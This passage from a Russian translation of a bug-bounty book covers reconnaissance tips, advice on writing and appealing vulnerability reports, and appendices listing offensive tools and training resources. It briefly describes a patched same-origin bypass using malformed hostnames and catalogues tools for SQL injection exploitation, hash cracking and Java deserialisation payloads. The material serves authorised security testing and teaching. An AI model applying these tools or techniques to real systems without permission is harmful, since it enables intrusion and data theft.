SSL-сертификат, принадлежащий Burp. Обсуждение обхода SSL-pinning,
проксирования трафика телефона и мобильного хакинга выходят за рамки
этой книги, но представляют отличную возможность научиться чему-то новому.

Определение новых возможностей
Филиппе Хэйрвуд входит в число ведущих хакеров в программе Facebook
и публикует найденные уязвимости на сайте philippeharewood.com. В его обзорах
регулярно упоминаются новые возможности, благодаря быстрому обнаружению которых ему удалось раньше других выявить разные уязвимости. Франс
Розен делится своим подходом к определению новой функциональности
в блоге Detectify по адресу blog.detectify.com. Чтобы быть в курсе нововведений,
появляющихся на интересующих вас веб-сайтах, можно читать блоги и Twitter-страницы их разработчиков, подписаться на новостные рассылки и т. д.

Отслеживание файлов JavaScript
Для обнаружения новых возможностей сайта можно отслеживать его скрипты. Это особенно полезно в случаях, когда сайт выводит свое содержимое
с помощью JavaScript-фреймворков. Большинство конечных точек, которые
используются приложением, обычно можно найти в его файлах JavaScript.
Изменения в этих файлах могут свидетельствовать о новых или обновленных
возможностях, которые можно исследовать. О том, как к отслеживанию файлов JavaScript подходили Джоберт Абма, Бретт Буэрхаус и Бен Садегипур,
можно почитать в их статьях: введите в поисковике Google их имена вместе
со словом «reconnaissance».

Платный доступ к новым возможностям
Чтобы заработать на охоте за уязвимостями, хакеру иногда приходится платить за доступ к тем или иным возможностям. Успешным примером этого

Итоги  241

является опыт Франса Розена и Рона Чана. Например, Рон Чан однажды заплатил несколько тысяч долларов, чтобы исследовать приложение, и сторицей
окупил вложенные средства, найдя серьезные уязвимости. У меня тоже есть
положительный опыт расширения потенциальной области тестирования за
счет оплаты продуктов, подписок и услуг.

Изучение технологий
Вы можете исследовать программное обеспечение, технологии и библиотеки,
которые использует компания. Чтобы обнаружить уязвимость в ImageMagick
(глава 12), нужно было разбираться в этой библиотеке и типах файлов,
которые она поддерживает. Дополнительные проблемы могут крыться во
внешнем ПО, которое используется в библиотеках, подобных ей. Тэвис Орманди нашел дополнительные уязвимости в формате Ghostscript, который
поддерживает ImageMagick (www.openwall.com/lists/oss-security/2018/08/21/2).
Хакер FileDescriptor рассказал в блоге, что он читает документы RFC по
веб-технологиям и, руководствуясь соображениями безопасности, пытается
понять разницу между изначальной задумкой и фактической реализацией.
Его глубокое понимание OAuth является отличным примером подробного
изучения технологии.

Итоги
В этой главе я попытался пролить немного света на потенциальные подходы
к хакингу. До сих пор самым успешным планом действий для меня был следующий: исследовать приложение, понять, какие возможности оно предоставляет,
и связать их с характерными уязвимостями. Но я продолжаю изучать и другие
области, такие как автоматизация и документирование применяемых мной
методологий.
Также я осветил некоторые инструменты, помогающие упростить хакинг
и сэкономить время: Burp, ZAP, Nmap, Gowitness и т. д.
Если вы исчерпали все стандартные средства для поиска уязвимостей, но
ничего не нашли, попробуйте исследовать мобильные приложения и новые
возможности тестируемых вами веб-сайтов.

20

Отчеты об уязвимостях

Итак, вы нашли свою первую уязвимость. Поздравляю! Первое, что я вам посоветую: расслабьтесь и не спешите. Поверьте, я знаю, каково это — сгоряча подать
отчет и узнать, что его отклонили. А за отклоненный отчет понижается репутация на платформе по поиску уязвимостей. Не попадайте в такую ситуацию.

Прочитайте условия программы
Прежде чем сообщать об уязвимости, ознакомьтесь с условиями программы.
Каждая компания, использующая платформу Bug Bounty, предоставляет документ, в котором обычно перечисляются типы уязвимостей, не заслуживающих награды, и сайты, участвующие в программе. Всегда начинайте хакинг
с чтения условий, чтобы не тратить зря время.
Свою первую уязвимость я нашел на сайте Shopify: вводимый мною некорректный HTML-код исправлялся текстовым редактором и сохранялся вместе
с фрагментом XSS. Я был взволнован и думал, что награда уже у меня в кармане.
Сообщив об уязвимости, я рассчитывал на минимальную выплату в размере
500 долларов. Но в течение пяти минут меня вежливо проинформировали, что
эту проблему уже нашли и что исследователей просили о ней не сообщать. Отчет
был признан некорректным, я потерял пять баллов репутации и испытал стыд.
Не повторяйте моих ошибок — читайте условия.

Перепроверьте уязвимость  243

Чем больше подробностей, тем лучше
Убедившись, что уязвимость соответствует требованиям, напишите отчет
и представьте в нем:
‚‚ URL-адрес и любые параметры, необходимые для воспроизведения уязвимости.
‚‚ Ваши браузер, операционную систему (если это имеет значение) и версию исследуемого приложения (если она вам известна).
‚‚ Описание уязвимости.
‚‚ Инструкцию по воссозданию уязвимости.
‚‚ Объяснение последствий злонамеренного использования уязвимости.
‚‚ Рекомендации по исправлению уязвимости.
Я советую предоставить доказательство наличия проблемы в виде снимка
экрана или короткого видеоролика, не длиннее двух минут. Демонстрационные
материалы не только документируют вашу находку, но и помогают объяснить,
как ее воссоздать.
При подготовке отчета также следует учитывать потенциальные последствия
уязвимости. Например, хранимая уязвимость XSS является серьезной проблемой для Twitter — компании с огромным количеством пользователей, которые ей доверяют. Аналогичная дыра в безопасности на сайте, у которого нет
пользовательских учетных записей, была бы куда менее проблематичной. А вот
утечка информации на сайте, который, к примеру, хранит истории болезней,
превзошла бы по своим последствиям взлом сайта Twitter, пользовательские
данные которого в основном публичные.

Перепроверьте уязвимость
После того как вы прочитаете условия программы, составите отчет и предоставите демонстрационные материалы, остановитесь и подумайте, действительно
ли ваша находка является уязвимостью. Например, если вы хотите сообщить об
уязвимости CSRF на том основании, что вам не удалось найти токен в теле HTTPза­проса, проверьте, не был ли передан соответствующий параметр в заголовке.

244   Глава 20. Отчеты об уязвимостях

В марте 2016 года Матиас Карлссон написал отличную статью об обходе
механизма SOP: labs.detectify.com/2016/03/17/bypassing-sop-and-shouting-hello-beforeyou-cross-the-pond/. Тот факт, что ему не досталось никакого вознаграждения, он
объяснил шведской поговоркой, «не здоровайся, пока не переплывешь пруд».
Карлссон исследовал браузер Firefox и заметил, что в системе macOS тот
принимал некорректные сетевые имена. В частности, при открытии адреса
http://example.com. загружался сайт example.com, но в заголовке Host передавалось
значение example.com.1. Попытавшись открыть http://example.com...evil.com, он
получил тот же результат. Он знал, что это позволяло обойти механизм SOP,
поскольку дополнение Flash интерпретировало http://example.com..evil.com как
домен \*.evil.com. Он проверил 10 000 самых популярных сайтов по версии Alexa
и обнаружил, что 7 % из них (включая yahoo.com) позволяли воспользоваться
этой уязвимостью.
Он составил описание уязвимости, но затем решил перепроверить ее вместе
со своим коллегой. Им удалось подтвердить проблему на другом компьютере
даже после обновления Firefox. Карлссон анонсировал находку в Twitter, но
затем осознал свою оплошность. Он забыл обновить операционную систему.
Оказалось, что проблему заметили и исправили за шесть месяцев до этого.
В новой версии проблема отсутствовала.
Ситуация, когда вы находите, как вам кажется, серьезную проблему, но затем
осознаете, что вы просто не разобрались в приложении и отправили некорректный отчет, может стать большим разочарованием.

Ваша репутация
Всякий раз, когда вы собираетесь отправить отчет, остановитесь и спросите
себя, будет ли его публичное раскрытие поводом для гордости?
Только начав заниматься хакингом, я отправлял множество отчетов, стремясь
принести какую-то пользу и заявить о себе. Но на самом деле я лишь тратил
впустую свое и чужое время, сообщая о несуществующих уязвимостях. Не
повторяйте моих ошибок.
1

С точкой в конце. — Примеч. ред.

Относитесь к компании с уважением  245

Возможно, вы не заботитесь о своей репутации или думаете, что компании
не против перелопатить кучу отчетов в поиске настоящих проблем. Но все
платформы Bug Bounty ведут статистику. Ваши показатели записываются,
и на их основе компании решают, стоит ли вас приглашать в закрытые программы. Такие программы обычно являются более прибыльными, так как
в них участвует меньше хакеров, что снижает конкуренцию.
Приведу пример из собственного опыта. Однажды меня пригласили поучаствовать в закрытой программе, и за один день мне удалось найти восемь
уязвимостей. Но той же ночью я отправил отчет в другую программу и получил отказ. Это ухудшило мои показатели на сайте HackerOne. Поэтому, когда
на следующий день я собирался сообщить о еще одной уязвимости в рамках
закрытой программы, меня проинформировали о том, что мне не хватает
репутации и что для подачи следующего отчета мне придется ждать 30 дней.
Ожидание было не самым приятным, но мне повезло — никто больше не нашел обнаруженную мной ошибку. Это научило меня ценить свою репутацию,
независимо от платформы.

Относитесь к компании с уважением
Об этом легко забыть, но не у всякой компании есть ресурсы для того, чтобы
немедленно отреагировать на отчет и исправить ошибку. При составлении
отчета или отправке дополнительной информации постарайтесь взглянуть
на вещи глазами компании.
Когда запускается новая публичная программа Bug Bounty, ее организаторы
получают огромное количество отчетов, которые нужно изучить. Прежде
чем обращаться за новостями, дайте им какое-то время. Иногда программа
предусматривает соглашение о предоставлении услуг, которое обязывает
компанию ответить на отчет в течение определенного времени. Проявите терпение и подумайте о том, какие нагрузки испытывает компания. Получение
ответа следует ожидать на протяжении пяти рабочих дней. После этого можно
оставить вежливый комментарий с просьбой подтвердить состояние отчета.
В большинстве случаев вам ответят и прояснят ситуацию. Если же этого не
произойдет, подождите еще пару дней, прежде чем повторять попытку или
обращаться к администрации платформы.

246   Глава 20. Отчеты об уязвимостях

С другой стороны, если компания подтвердила уязвимость, описанную в отчете, вы можете поинтересоваться предполагаемыми сроками ее исправления
и тем, будут ли вас держать в курсе. Вы также можете спросить, следует ли
вам проверить ситуацию через месяц или два. Свободное общение является
признаком того, что сотрудничество с компанией стоит продолжить. Если же
переговоры идут тяжело, лучше присоединиться к другой программе.
В процессе написания этой книги мне посчастливилось поддерживать связь
с Адамом Бакусом, который в то время работал руководителем проекта
HackerOne (сейчас он вернулся в Google и работает в программе по поиску
уязвимостей в Google Play). Ранее Бакус работал в Snapchat, налаживая связь
между отделом безопасности и разработчиками ПО. Он также был участником
команды управления уязвимостями в Google, которая отвечала за программу
поиска уязвимостей VRP (Vulnerability Reward Program).
Бакус помог мне понять, с какими проблемами сталкиваются организаторы
программ Bug Bounty:
‚‚ Получают множество некорректных отчетов — шум. Лишняя работа замедляет реакцию на реальные проблемы.
‚‚ Ищут баланс между исправлением ошибок и выполнением уже существующих задач разработки. Особенно сложно расставить приоритеты для исправления уязвимостей с низким или средним уровнем сложности.
‚‚ Работают с проблемами в сложных системах. Если для воссоздания проблемы к вам обратятся за дополнительной информацией, это задержит
исправление ошибки и выплату вознаграждения.
‚‚ В мелких компаниях совмещают работу по Bug Bounty с другими аспектами разработки.
‚‚ Исправляют ошибки, иногда проходя полный цикл разработки.
‚‚ Поддерживают долгосрочное сотрудничество с хакерами. Обычно чем
больше отчетов хакер подает в рамках одной и той же программы, тем более
серьезные проблемы он выявляет. Это явление описано на сайте HackerOne.
Это называют погружением в программу.
‚‚ Часто отклоняют корректный отчет или затягивают исправление проблемы и выплаты вознаграждение в работе с хакером, имеющим плохую репутацию или испортившим отношения с компанией.

Подача апелляции в программах Bug Bounty  247

Бакус поделился этими наблюдениями, чтобы сделать процесс охоты за уязвимостями более человечным. Все, что он описал, я имел возможность испытать
на личном опыте. Составляя отчеты, помните, что хакеры и организаторы программ Bug Bounty должны работать вместе и иметь общее понимание проблем,
чтобы ситуацию можно было улучшить с обеих сторон.

Подача апелляции в программах Bug Bounty
Решение компании относительно размера вознаграждения, выплаченного за
поданный вами отчет, следует уважать, но при этом не нужно бояться высказывать свое мнение. Джоберт Абма поделился на платформе Quora мыслями
о финансовых разногласиях (www.quora.com/How-do-I-become-a-successful-Bugbounty-hunter/):
Если вы не согласны с размером полученной выплаты, объясните, почему
ваше вознаграждение должно быть более высоким. Не стоит просить о надбавке без аргументации. А компания в свою очередь должна уважать ваш
труд и потраченное время.
Нет ничего плохого в том, чтобы вежливо поинтересоваться, почему вам была
выплачена именно такая сумма. В прошлом я обычно делал это в виде такого
комментария:
Большое спасибо за вознаграждение. Я по-настоящему признателен. Меня
только интересует, на чем основывалось решение о выплате такой суммы?
Я рассчитывал на X$, но вместо этого получил Y$. Эту ошибку, как мне
казалось, можно использовать для [эксплуатации Z], что могло бы иметь
существенные последствия для ваших [систем / пользователей]. Я надеюсь, что вы поможете мне в этом разобраться, чтобы в будущем я лучше
понимал, какие проблемы вы считаете наиболее важными.
Компании реагировали следующим образом:
‚‚ Объясняли, что последствия найденной мною уязвимости были не настолько серьезными, как мне казалось, не меняя сумму выплаты.
‚‚ Соглашались с тем, что мой отчет был неверно интерпретирован, и увеличивали вознаграждение.

248   Глава 20. Отчеты об уязвимостях

‚‚ Соглашались с тем, что мой отчет был неправильно классифицирован, и,
внеся коррективы, увеличивали вознаграждение.
Если компания уже раскрывала отчет об уязвимости того же типа или с аналогичными последствиями и вознаграждение за него кажется вам справедливым,
вы можете сослаться на него в своем отчете, чтобы объяснить свои ожидания.
Однако я советую делать это только в том случае, если отчет относится к той же
компании. Не упоминайте о более крупных выплатах, сделанных кем-то другим, так как разные компании предоставляют разные размеры вознаграждений.

Итоги
Умение составлять отчеты и разъяснять свои находки является важным навыком для охотников за уязвимостями. Оно основывается на чтении условий
программы и понимании, какие подробности следует включать в отчет. Важно
подтвердить найденную проблему, чтобы случайно не предоставить некорректную информацию. Даже такие хакеры, как Матиас Карлссон, прилагают
целенаправленные усилия, чтобы избежать ошибок.
Поставьте себя на место получателя отчета. При работе с компаниями помните
о тех наблюдениях, которыми поделился Адам Бакус. Если вы считаете размер
выплаченного вознаграждения неадекватным, лучше вежливо его обсудить
непосредственно с компанией, которая его выплатила.
Ваши показатели на платформах Bug Bounty зависят от каждого поданного
вами отчета. Бережно относитесь к своей репутации, благодаря которой вас
могут приглашать в более прибыльные закрытые программы.

Приложение А.
Инструменты

В этом приложении приводится список инструментов для хакинга. Некоторые
из них позволяют автоматизировать процесс предварительного исследования,
а другие помогают находить уязвимые приложения. Я не пытался сделать
этот список исчерпывающим: в него вошли только те инструменты, которые
регулярно используются мною и другими хакерами. Также имейте в виду, что
ни один из них не заменит вам наблюдательность и интуицию. Михель Принс
помог мне составить этот список и поделился советами об эффективном использовании названных инструментов.

Веб-прокси
Веб-прокси позволяет перехватывать веб-трафик и анализировать отправляемые запросы и получаемые ответы. Существует несколько бесплатных
инструментов этого типа, имеющих профессиональные версии с дополнительными возможностями.
Burp Suite (portswigger.net/burp/)
Интегрированная платформа для тестирования безопасности. Самым
полезным инструментом в ее составе является прокси-сервер, который
я использую в 90 % случаев. Как вы помните из отчетов, приводимых
в этой книге, прокси позволяет отслеживать трафик, перехватывать запросы в режиме реального времени, модифицировать их и затем передавать
дальше. Burp включает в себя обширный набор инструментов, наиболее
примечательными из которых я считаю следующие:

250   Приложение А. Инструменты

‚‚ Spider для пассивного или активного поиска содержимого и возможностей в конкретных приложениях.
‚‚ Веб-сканер для автоматизации обнаружения уязвимостей.
‚‚ Ретранслятор для модификации и повторной отправки отдельных запросов.
‚‚ Расширения для подключения к платформе дополнительных возможностей.
Познакомиться с ограниченным количеством инструментов Burp можно
бесплатно, но когда вы начнете регулярно находить уязвимости, советую
оформить платную годовую подписку.
Charles (www.charlesproxy.com)
HTTP-прокси, HTTP-монитор и обратный прокси-сервер, позволяющий
разработчикам просматривать запросы, ответы и HTTP-заголовки (которые
содержат куки и информацию о кэшировании).
Fiddler (www.telerik.com/fiddler/)
Легковесный прокси-сервер, который позволяет отслеживать трафик. Его
стабильная версия доступна только для Windows. Версии для Mac и Linux
находятся на стадии beta-тестирования.
Wireshark (www.wireshark.org/)
Анализатор сетевых протоколов, который показывает все подробности о событиях вашей сети. Помогает отследить трафик, который нельзя пропустить
через Burp или ZAP. Если вы начинающий хакер и исследуемый вами сайт
работает только по HTTP / HTTPS, лучше использовать Burp Suite.
ZAP Proxy. OWASP Zed Attack Proxy (ZAP)
Бесплатная, открытая, развиваемая сообществом платформа, похожая на
Burp, доступная по адресу www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_
Project. Содержит целый ряд инструментов, включая прокси, ретранслятор,
сканер, средство для подбора директорий / файлов и т. д. Кроме того, она
поддерживает подключаемые модули для расширения ее возможностей.

Поиск поддоменов  251

На ее веб-сайте содержится полезная информация, которая поможет вам
на первых порах.

Поиск поддоменов
У многих веб-сайтов есть поддомены, которые сложно обнаружить вручную,
но подбор которых помогает расширить поверхность атаки программы.
OWASP Amass (github.com/OWASP/Amass)
Ищет имена поддоменов в разных источниках, используя метод рекурсивного перебора, поиск по веб-архивам, перестановку или изменения
слов и обратное DNS-преобразование. Amass также использует IP-адреса,
полученные на основе доменных имен, для поиска сетевых блоков и универсальных AS (system numbers). На основе этой информации строятся
карты исследуемых сетей.
crt.sh (crt.sh)
Позволяет просматривать журналы прозрачности сертификатов в поиске
поддоменов, которые с этими сертификатами связаны. Регистрация сертификата может раскрыть любые поддомены, использованные на сайте. Вы
можете работать с этим ресурсом напрямую или с помощью инструмента
SubFinder, который разбирает результаты поиска по crt.sh.
Knockpy (github.com/guelfoweb/knock/)
Инструмент, написанный на Python и предназначенный для подбора поддоменов на основе списка слов.
SubFinder (github.com/subfinder/subfinder/)
Инструмент, написанный на Go и применяющий пассивные интернет-источники. Он гибкий, имеет простую модульную архитектуру и позиционируется как аналог Sublist3r. SubFinder использует пассивные источники
информации, поисковые системы, сайты для публикации кода, интернетархивы и т. д. Обнаружив поддомен, он генерирует список потенциальных

252   Приложение А. Инструменты

доменных имен с помощью специального модуля (прообразом которого
является проект altdns) и затем при необходимости выполняет простой
перебор.

Исследование содержимого
Следующим шагом после определения поверхности атаки является подбор
файлов и директорий сайта. Это может помочь в поиске скрытых возможностей, конфиденциальной информации, учетных данных и т. д.
Gobuster (github.com/OJ/gobuster/)
Помогает подбирать URI-адреса (директории и файлы) и поддомены, используя поддержку wildcard. Он быстрый, гибкий и удобный.
SecLists (github.com/danielmiessler/SecLists/)
Набор словарей, которые можно применять для хакинга. В него входят
словари с именами пользователей, паролями, URL-адресами, строками для
фаззинга, распространенными директориями / файлами / поддоменами
и т. д.
Wfuzz (github.com/xmendez/wfuzz/)
Позволяет внедрять любой ввод в любое поле HTTP-запроса и выполнять сложные атаки на разные компоненты веб-приложений, такие как
параметры URL-адреса, механизм аутентификации, формы, директории
или файлы, заголовки и т. д. С дополнительными модулями становится
сканером уязвимостей.

Создание снимков экрана
Иногда поверхность атаки слишком велика, чтобы исследовать каждый ее
аспект. Автоматические снимки экрана позволяют визуально осмотреть вебсайты, не посещая каждый из них.

Сканирование портов  253

EyeWitness (github.com/FortyNorthSecurity/EyeWitness/)
Предназначен для создания снимков веб-страниц, предоставления информации о заголовках сервера и, по возможности, определения учетных
данных по умолчанию. Подходит для определения сервисов, работающих
на стандартных для HTTP и HTTPS портах. В сочетании с другими средствами, такими как Nmap, быстрее находит потенциальные цели атаки.
Gowitness (github.com/sensepost/gowitness/)
Утилита, написанная на Go, идея которой позаимствована у проекта
EyeWitness. С помощью инструмента командной строки Chrome Headless
она генерирует снимки веб-интерфейсов.
HTTPScreenShot (github.com/breenmachine/httpscreenshot/)
Инструмент для создания снимков и захвата HTML-кода большого количества веб-страниц, получающий на входе список IP-адресов. Может
подбирать поддомены и добавлять их в список веб-сайтов, снимки которых
нужно создать, группируя результаты для облегчения просмотра.

Сканирование портов
Вам нужна информация не только о URL-адресах и поддоменах, но и о доступных портах и запущенных на сервере приложениях.
Masscan (github.com/robertdavidgraham/masscan/)
Пожалуй, самый быстрый сканер сетевых портов в мире. Он способен просканировать весь интернет менее чем за 6 минут, передавая 10 миллионов
пакетов в секунду. Его результаты похожи на те, которые возвращает Nmap,
но для их получения нужно меньше времени. Кроме того, Masscan позволяет
сканировать произвольные диапазоны адресов и портов.
Nmap (nmap.org)
Бесплатная и открытая утилита для сетевого сканирования и аудита безопасности. С помощью низкоуровневых IP-пакетов Nmap определяет:

254   Приложение А. Инструменты

‚‚ какие сетевые узлы доступны в сети;
‚‚ какие сервисы (включая название и версию приложения) эти узлы
предлагают;
‚‚ под управлением каких операционных систем (включая их версии) узлы
работают;
‚‚ какие виды фильтров пакетов и брандмауэров используются.
На сайте Nmap есть список четких инструкций по установке для Windows,
Mac и Linux.
Помимо сканирования портов Nmap поддерживает скрипты для расширения функциональности. Я часто использую скрипт http-enum для подбора
файлов и директорий на серверах с просканированными портами.

Предварительное исследование
Составив список URL-адресов, поддоменов и портов тех веб-сайтов, которые
следует проверить, вы должны получить подробные сведения об используемых
ими технологиях и узнать, к каким внешним интернет-ресурсам они подключены. В этом вам помогут следующие инструменты.
BuiltWith (builtwith.com)
Определяет технологии, используемые на сервере. Как утверждается на домашней странице этого инструмента, он умеет распознавать более 18 000 видов сетевых технологий, включая аналитические платформы, хостинг,
системы управления содержимым и т. д.
Censys (censys.io)
Собирает данные о сетевых узлах и веб-сайтах, в том числе их конфигурацию, ежедневно сканируя адресное пространство IPv4 с помощью ZMap
и ZGrab. Его платная модель довольно дорогая для широкомасштабного
хакинга, но можно использовать возможности бесплатного тарифа.

Инструменты для хакинга  255

Поисковые запросы Google (www.exploit-db.com/google-hackingdatabase/)
Продвинутый синтаксис запросов позволяет находить информацию, недоступную при посещении веб-сайта вручную. Это могут быть уязвимые
файлы, возможности для загрузки внешних ресурсов и другие поверхности
атаки.
Shodan (www.shodan.io)
Поисковая система, которая позволяет определить, какие устройства подключены к интернету, где они размещены и кто их использует. Это особенно
полезно, когда вы исследуете цель атаки.
What CMS (www.whatcms.org)
Определяет по URL-адресу, какая система управления содержимым (content
management system, или CMS) с большей верятностью используется на
сайте. Это важно по нескольким причинам:
‚‚ становится легче представить структуру кода сайта;
‚‚ если это открытая CMS, проще искать уязвимости в ее исходном коде
и проверять их на сайте;
‚‚ если сайт устарел, можно проверить его на наличие известных уязвимостей.

Инструменты для хакинга
С помощью инструментов для хакинга можно автоматизировать не только
распознавание поверхности атаки, но и поиск уязвимостей.
Bucket Finder (digi.ninja/files/bucket_finder_1.1.tar.bz2)
Ищет бакеты, доступные для чтения, и выводит файлы, которые в них содержатся. Помогает быстро находить существующие бакеты, запрещающие
перечисление файлов. Для работы с найденными бакетами используйте
утилиту AWS CLI, описанную в отчете HackerOne S3 Buckets Open.

256   Приложение А. Инструменты

CyberChef (gchq.github.io/CyberChef/)
Исчерпывающий набор инструментов для кодирования и декодирования.
Gitrob (github.com/michenriksen/gitrob/)
Помогает находить потенциально чувствительные файлы, загруженные
в публичные репозитории на сайте GitHub. Клонирует репозитории, принадлежащие пользователю или организации, с учетом заданной глубины
и проверяет каждую фиксацию кода, отмечая файлы, которые, согласно
их сигнатурам, могут содержать конфиденциальные данные. Результаты
можно просматривать и анализировать в удобном веб-интерфейсе.
Online Hash Crack (www.onlinehashcrack.com)
Пытается восстанавливать пароли в виде хешей, WPA-файлы и зашифрованные документы MS Office. Позволяет определить более чем 250 типов
хешей и подходит в ситуациях, когда вам нужно узнать, какие разновидности хешей используются веб-сайтом.
sqlmap (sqlmap.org)
Это открытый инструмент, позволяющий автоматизировать процесс обнаружения и эксплуатации уязвимостей с внедрением SQL. Среди его
возможностей можно выделить следующие:
‚‚ поддержка большого количества БД, включая MySQL, Oracle, PostgreSQL,
MS SQL Server и т. д.;
‚‚ шесть методов внедрения SQL;
‚‚ поиск имен пользователей, хешей паролей, прав доступа, ролей, БД,
таблиц и столбцов.
XSSHunter (xsshunter.com)
Помогает в поиске слепых уязвимостей XSS. Подписавшись на XSSHunter,
вы получите короткий домен xss.ht — идентификатор ваших XSS-атак,
хранящий внедряемый код. В случае успешной атаки он автоматически
определяет, где она произошла, и отправляет на вашу электронную почту
уведомление.

Расширения для браузера  257

Ysoserial (github.com/frohoff/ysoserial/)
Генерирует демонстрационный вредоносный код, который эксплуатирует
небезопасный механизм десериализации объектов в Java.

Взлом мобильных устройств
Разбор отдельных компонентов мобильного приложения поможет понять, как
они работают и каким уязвимостям подвержены.
dex2jar (sourceforge.net/projects/dex2jar/)
Набор инструментов для мобильного хакинга. Позволяет преобразовать
исполняемые файлы Dalvik (.dex) в архивы Java (.jar), упрощая тем самым
аудит приложений для Android.
Hopper (www.hopperapp.com)
Инструмент для обратной разработки, позволяющий дизассемблировать,
декомпилировать и отлаживать приложения. Подходит для аудита приложений в iOS.
JD-GUI (github.com/java-decompiler/jd-gui/)
Помогает исследовать приложения для Android. Это полноценная графическая утилита, которая отображает исходный код CLASS-файлов.

Расширения для браузера
У Firefox есть несколько расширений, которые можно использовать в сочетании с другими инструментами. Аналогичные расширения могут быть доступны
и для других браузеров.
FoxyProxy
Продвинутое расширение для управления прокси-серверами, дополняющее
возможности Firefox.

258   Приложение А. Инструменты

User Agent Switcher
Добавляет в Firefox меню и кнопку панели инструментов для переключения заголовка User-Agent. Это позволяет маскировать версию браузера во
время выполнения атаки.
Wappalyzer
Помогает определять технологии, которые использует сайт, включая
CloudFlare, фреймворки, библиотеки JavaScript и т. д.

Приложение Б.
Дополнительный материал

В этом приложении содержится список ресурсов, с помощью которых можно
расширить навыки. Ссылки на эти и другие ресурсы доступны на сайте www.
torontowebsitedeveloper.com/hacking-resources/ и домашней странице этой книги:
nostarch.com/bughunting/.

Онлайн-курсы
Для демонстрации принципа работы уязвимостей я использовал реальные
отчеты, которые помогут вам получить практические навыки поиска ошибок.
Также в интернете есть множество руководств, теоретических курсов, практических упражнений и блогов, посвященных охоте за уязвимостями.
Coursera
Этот веб-сайт похож на Udacity, но его партнерами являются не компании
и специалисты в разных областях, а высшие учебные заведения. Это позволяет ему предоставлять курсы университетского уровня. Одно из доступных направлений, кибербезопасность (www.coursera.org/specializations/
cyber-security/), состоит из пяти курсов. Особенно информативными мне
показались видеоролики второго курса, посвященные безопасности программного обеспечения.
Exploit Database (www.exploit-db.com)
Сайт, документирующий найденные ошибки и связывающий их с общеизвестными уязвимостями безопасности, включая CVE. Фрагменты кода этой

260   Приложение Б. Дополнительный материал

БД могут быть опасными и губительным, если неверно их использовать.
Поэтому будьте внимательны.
Google Gruyere (google-gruyere.appspot.com)
Уязвимое веб-приложение с инструкциями по его взлому. Позволяет
тренироваться в поиске распространенных уязвимостей, таких как XSS,
повышение привилегий, CSRF, обход директорий и т. д.
Hacker101 (www.hacker101.com)
Бесплатный образовательный сайт для хакеров от HackerOne. Построен
по принципу игры «захват флага» (capture the flag или CTF) и позволяет
заниматься хакингом в безопасной и поощрительной форме.
Hack The Box (www.hackthebox.eu)
Онлайн-платформа, на которой вы можете проверить свои навыки тестирования на проникновение и обсудить свои идеи и методики с другими
участниками. Предоставляет разные испытания: одни имитируют реальные
условия, а другие больше похожи на игру «захват флага».
PentesterLab (pentesterlab.com)
Предоставляет уязвимые системы с упражнениями, основанными на распространенных ошибках. Некоторые уроки доступны бесплатно, а другие
требуют подписки, которая стоит того.
Udacity
Платформа бесплатных онлайн-курсов по целому ряду направлений, включая веб-разработку и программирование. Обратите внимание на курсы: Intro
to HTML and CSS (www.udacity.com/course/intro-to-html-and-css--ud304/), JavaScript
Basics (www.udacity.com/course/javascriptbasics--ud804/) и Intro to Computer Science
(www.udacity.com/course/intro-to-computer-science--cs101/).

Платформы Bug Bounty  261

Платформы Bug Bounty
Ни одно веб-приложение не застраховано от ошибок, однако иногда сообщить
об уязвимости не так-то легко. На сегодняшний день существует множество
платформ Bug Bounty, которые служат посредниками между хакерами и компаниями, нуждающимися в аудите безопасности.
Bounty Factory (bountyfactory.io)
Европейская платформа Bug Bounty, которая соблюдает правила и законы
Европейского союза. Более молодая по сравнению с HackerOne, Bugcrowd,
Synack и Cobalt.
Bugbounty JP (bugbounty.jp)
Платформа Bug Bounty в Японии.
Bugcrowd (www.bugcrowd.com)
Платформа, которая проверяет найденные ошибки перед отправкой отчетов
компаниям. Некоторые программы предусматривают вознаграждение. Ее
программы бывают как публичными, так и закрытыми.
Cobalt (cobalt.io)
Закрытая платформа, предлагающая услуги по тестированию на проникновение.
HackerOne (www.hackerone.com)
Платформа, основанная хакерами и лидерами в сфере безопасности для
повышения качества интернета. Сводит вместе хакеров, стремящихся
к ответственному раскрытию уязвимостей, и компании, которые хотят
получать их услуги. Ее программы бывают платными и бесплатными,
публичными и закрытыми. Единственная платформа, которая позволяет
хакерам публиковать раскрытые ими уязвимости (с согласия организаторов
соответствующей программы).

262   Приложение Б. Дополнительный материал

Intigriti (www.intigriti.com)
Краудсорсинговая платформа для аудита безопасности. Ее цель — сделать
процесс обнаружения и исправления уязвимостей рентабельным. Предлагает автоматизированное тестирование безопасности в сотрудничестве
с опытными хакерами. В основном ориентирована на европейский рынок.
Synack (www.synack.com)
Закрытая платформа, предлагающая краудсорсинговое тестирование на
проникновение. Как и Bugcrowd, проверяет каждый отчет, прежде чем
передать его той или иной компании. Проверка отчетов и выплата вознаграждения обычно занимает не более суток.
Zerocopter (www.zerocopter.com)
Недавно появившаяся закрытая платформа Bug Bounty.

Список рекомендованных источников
Для новичков и опытных хакеров доступно множество книг и онлайн-публикаций.
A Bug Hunter’s Diary
Книга Тобиаса Клейна (No Starch Press, 2011), посвященная реальным уязвимостям и самописным программам для поиска и тестирования ошибок.
В ней, помимо прочего, Клейн делится своим опытом выявления и подтверждения проблем, связанных с памятью.
The Bug Hunters Methodology
Репозиторий на сайте GitHub, поддерживаемый Джейсоном Хэддиксом из
Bugcrowd. Дает подробное описание того, как успешные хакеры подходят
к атаке. Этот материал написан в формате Markdown и основан на презентации How to Shot Web: Better Hacking in 2015, которую Джейсон представил
на конференции DefCon 23. Этот и другие репозитории Хэддикса можно
найти по адресу github.com/jhaddix/tbhm/.

Список рекомендованных источников  263

Cure53 Browser Security White Paper. Cure53
Группа специалистов по безопасности, которые предоставляют услуги тестирования на проникновение, консультации и советы по защите от атак.
По поручению Google участники группы создали доклад о безопасности
браузеров, где задокументировали результаты как старых, так и более
свежих, передовых исследований (github.com/cure53/browser-sec-whitepaper/).
HackerOne Hacktivity
Список уязвимостей, выявленных в рамках программы Bug Bounty на
платформе HackerOne (www.hackerone.com/hacktivity/). Не все отчеты являются публичными, но те из них, которые были раскрыты, помогут вам
познакомиться с методиками других хакеров.
«Хакинг: искусство эксплойта»
Второе издание книги Джона Эриксона («Питер», 2018), посвященное
уязвимостям памяти. В нем рассматриваются такие темы, как отладка кода,
исследование переполняемых буферов, перехват сетевого трафика, обход
защиты и эксплуатация криптографических слабостей.
Система отслеживания ошибок компании Mozilla
На странице bugzilla.mozilla.org можно найти все проблемы с безопасностью,
о которых сообщалось компании Mozilla.
